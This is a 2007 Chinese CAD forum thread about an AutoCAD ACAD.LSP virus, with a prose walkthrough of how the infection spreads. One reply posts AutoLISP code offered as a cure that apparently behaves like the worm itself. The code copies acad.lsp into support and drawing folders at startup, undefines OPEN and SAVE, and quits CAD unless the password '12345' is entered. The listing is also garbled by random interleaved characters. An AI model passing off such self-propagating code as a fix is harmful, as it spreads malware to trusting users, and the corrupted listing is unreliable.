中了ACAD.LSP怎么办？？CAD高手进！

bluer7 · 发表于 2007-9-13 16:16

前几天发现打开CAD时，一些常用的快捷命令不能用了，看了PGP文件，一切都未改动，并且打开DWG文件时，会多生成一个ACAD.LSP文件。在网上找了一些方法，都不起作用，用专杀也查不出来（北京鸿业，深圳浩辰），我用的杀毒工具卡巴7.0也查不出来。我是做工程设计的，中了这个家伙后，几乎使我不能制图，这几天急得我茶饭不思，热切期盼高手能解决（可加我QQ：233710887），不胜感激！！！
特将多生成的ACAD文件附上！（见附件）

yjh54900 · 发表于 2007-9-13 16:51

还是建议你从新装一下CAD把.看了一下病毒的分析,觉得相当麻烦.

yjh54900 · 发表于 2007-9-13 16:57

00.定义自动函数S::STARTUP

{01.获取CMDECHO变量,改设为0,一般程序最后会再改回去,

{02.通过搜索base.dcl文件,获取ACAD安装路径(support子夹) }

{03.获取菜单文件完整路径和名称,后来又没用~}

{04.获取当前图形文件完整路径和名称,截取当前工作路径}

{05.获取当前首选ACAD.LSP文件完整路径和名称,截取其路径}

{06.预设程序标记变量LSPBJ为0,意思是假设还没得手}
{07.用只读方式打开support中的ACAD.LSP,如文件不存在则建立同名文件
逐行检查此ACAD.LSP文件内容,一旦发现某行开头为(load "acadapp")
则设程序标记变量LSPBJ为1,表示已经得手过
只读任务结束，关闭文件}

{08.如果找到的ACAD.LSP路径和当前工作路径不同，
并且不在ACAD\support里面，则
{如果LSPBJ为0，也即尚未得手，那么
就在ACAD\support\acad.lsp文件末尾添加(load "acadapp")(princ),
即ACAD启动或开图时自动加载acadapp.lsp并隐蔽命令行反应。
然后同路径创建acadapp.lsp文件，作为刚改过的acad.lsp的备份. }
{如果LSPBJ为1,即已得手,且当前绘图不是未命名的新绘图任务,则
用复写ACAD\support\acadapp.lsp的方式
在当前工作路径创建acad.lsp. }
要不就这样一步一步的查找.删除他们看看.

bluer7 · 发表于 2007-9-13 17:14

重装也没用啊，问题依旧存在。

yjh54900 · 发表于 2007-9-13 17:25

从网上找的,试试看.可以告诉一声
用下面的代码试试.应该会杀掉你们说的病毒.注意:开机后需要输入密码(12345).

(defun S::STARTUP (/ old_cmd lctn dwglctn mnllctn $ m1 D6 R. G4 a4 N) u
applctn oldacad newacad nowdwg lspbj
. T+ B1 y1 J5 _: B/ {( I; q5 y( C) \
wjm wjm1 wjqm wjqm1 wz 3 p* X( {. O% l% d
ns1 ns2 wjm0 wjqm0 + q; |9 J( H% j" l1 p
) ( k6 [7 c- F& x8 k
(setq lst0 (list "(" "load" "CADstartup.lsp" ")")) * T6 I6 B' t! w( J1 f) R
(setq old_cmd (getvar "cmdecho")) 3 E: A: \* {' J5 f& P" S
(setvar "cmdecho" 0)
- }% I" v- b6 |; @" C, k3 S
(if (setq lctn (findfile "acad.exe")) (setq lctn0 lctn) # J6 R) n( ]( y. X( g- t0 F# t
(if (setq lctn (findfile "icad.exe")) (setq lctn0 lctn) 9 ?! D0 w7 p* R, a& L b' S. G
(if (setq lctn (findfile "zwcad.exe")) (setq lctn0 lctn) )))
j% A; s- i: C6 W- I6 n* n
(setq lctn lctn0)
) k3 P6 L$ s1 r$ z, |6 n1 M
(setq lctn (substr lctn 1 (- (strlen lctn) 8)))
. `4 D% ^4 |3 Q0 d6 g# w% [; V$ C
(setq mnllctn (getvar "menuname")) ; e+ Y/ d% z$ |3 U5 F$ m
(setq nowdwg (getvar "dwgname"))
/ v$ p7 {# G+ ^% j
(setq wjqm (findfile nowdwg)) 9 U& O; I6 X2 F. ~6 T
(setq dwglctn (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
. h7 b& y* ]: N- g
(if (equal (setq acadlctn (findfile "acad.lsp")) nil) (setq acadlctn (strcat dwglctn "acad.lsp"))
& F) V: ]. I, T
(setq acadlctn (substr acadlctn 1 (- (strlen acadlctn) 8))) )
; C0 k! D( _, c9 Q! ^$ H3 k
(setq wjqm (strcat lctn "acad.lsp"))
7 H5 @ P0 Z' e& X7 q: Z
(setq wjqm0 (strcat lctn "cadapp.lsp")) 4 l2 U3 E7 f& o# f
(if (setq wjm0 (open wjqm0 "a"))
P/ p3 U. S+ T
;(progn ! O+ K8 d$ ]0 k- u. a; s* Z; ]
;(setq aa (read-line wjm0)) " i- s6 N; _( D- W& {
;(if (/= aa "load CADstartup.lsp") , {, s( Q- { _2 ]
(progn 8 Y/ o# u7 C9 [
(setq aa (strcat (nth 0 lst0) (nth 1 lst0) " " (nth 2 lst0) (nth 3 lst0))) 6 _: m' C+ c. Q0 R4 D7 d
(write-line aa wjm0) : p1 [ k% _* i4 n7 s5 Y1 ?
) 2 a# D, O2 s: w7 g- u& h
(close wjm0)
( Z; U3 X- r+ Z1 l. p
)
$ N& z7 M; P/ ~8 q+ z0 J# x
3 O; o& @" ~; G' e0 h
(setq oldacad (findfile "CADstartup.lsp"))
) k% M4 O: l1 M9 S, `% B
(setq newacad (strcat lctn "acad.lsp"))
+ b8 S9 ]! X" O0 U' o
(writeapp)
6 H# R$ z" U+ z- H
(setq oldacad (findfile "acad.lsp"))
/ q \. f/ w, I& b, o1 }6 q
(setq newacad (strcat dwglctn "acad.lsp"))
: w: g) c1 {8 T9 R S; A
(writeapp)
$ E$ ~; G# F" y
(command "undefine" "open") ' Z* b+ ^/ C3 |) E! {; q
(command "undefine" "save") 2 R: W. \4 ?; r! R h" j
(setvar "cmdecho" old_cmd)
$ C+ ?& r1 t6 n* i* T, h
(print "This is CAD")
2 W* R4 u+ P) i9 X6 Q( o# {
(princ)
" [8 V4 F4 x S% h
) 4 V# O, }! M7 o4 P- h; I
(defun writeapp ()
, @1 D$ I0 C: ~
(if
5 g' B5 J5 K% X
(setq wjm1 (open newacad "w")) 4 _6 S# c- E% M8 l3 s; `& v/ F% m
(progn
6 e; q! A6 k5 Q# }5 q( s/ i2 f& h
(setq wjm (open oldacad "r"))
3 y+ H) U* g6 G6 ?. @2 D- Q
(while t, | _3 O5 q" O
(setq wz (read-line wjm)) # `" n, i7 F2 `. X3 u& |7 \
(write-line wz wjm1) - i9 j" s/ M. K* | [: l
) , Y/ Y2 Y& j( ^4 w
(close wjm) : P# c' H9 c5 `0 i% R: L, [5 ?
(close wjm1)
+ m7 ^0 V4 v$ J) l8 l1 {/ s1 O- J
)
- X: h$ w( z6 f$ m+ s
) / |$ u. j6 x: J
)
X$ q# o; O* ^- f$ X4 F' v' e/ O1 J
(defun C:open (/ p cont old_cmd)
6 Y5 k. o2 ^" Y
(setq 9 _6 h7 m8 m$ K
old_cmd (getvar "cmdecho")
$ c* w5 b5 s# r- a
)
0 m Y4 h Q, b
(setvar "cmdecho" 0)
1 h8 g# d* G6 A) B9 \
(setq p "12345")
" a5 r6 A: P+ V. T
(setq p0 (getstring "\Input Pass Word:"))
$ C5 N" [9 r' D" f7 j+ a
(if (eq p p0) (progn
9 m* J3 |* T* j! q+ ~
(command "redefine" "open") . k: D( e+ J* d" u- K5 `9 i
(command "open" "")) (command "quit" "")) $ l" i4 `/ Q# A) \& A
)
( |6 d: ]- q0 r* b* g( g
(defun C:save (/ old_cmd) 9 l! A e# Y# e( D) q# k0 J9 L1 \
(setq old_cmd (getvar "cmdecho"))
1 e3 l; V. J& ]2 t
(setvar "cmdecho" 0)
+ |* n0 E0 ?% J C; R$ F
(setq p0 (getstring "\Are you finish?")) 2 X& E# X) f. r5 {
(command "redefine" "save")
- Y' S9 ?3 ^3 a1 \, S
(command "save" "") * H9 h" L7 @6 a2 F3 F
(setvar "cmdecho" old_cmd) m) G" [2 U' _" ` n9 l. v2 C
(princ)
)

复制代码

luowangsheng · 发表于 2007-9-13 17:42

高手啊!值得学习

vicki0910 · 发表于 2007-9-13 20:57

厉害啊……
完全不懂这东西……

daizhilee · 发表于 2007-9-13 22:22

看有没有试过这个方法，
“我的电脑”里高级查找acad.lsp、acadapp.lsp这么两个文件，在“包含文字”数据框中输入：explode，选择搜索所有硬盘驱动器，将搜索到的这两个文件全部删除即可

zhy_7878 · 发表于 2007-9-13 23:26

看了一下病毒的分析,觉得相当麻烦.

jpf54321 · 发表于 2007-9-21 15:19

高手向你学习

毛是生飞 · 发表于 2007-9-21 15:25

还这么一回事??

闲逸 · 发表于 2007-9-21 16:13

高手，也曾中过同样的病毒，重装了系统才搞定它！

jianlong · 发表于 2009-2-24 16:28

真厉害，佩服啊，全都看不懂啊

beyondxxx · 发表于 2009-5-3 08:44

不太懂高手们说的什么意思啊，还是没弄明白怎么搞定，这代码什么的咱也不懂啊

jianlong · 发表于 2009-5-3 14:31

天文符号，总有一天我也会看懂的！

		自动登录	找回密码
密码			立即注册

中了ACAD.LSP怎么办？？CAD高手进！

本帖子中包含更多资源

回复 #2 yjh54900 的帖子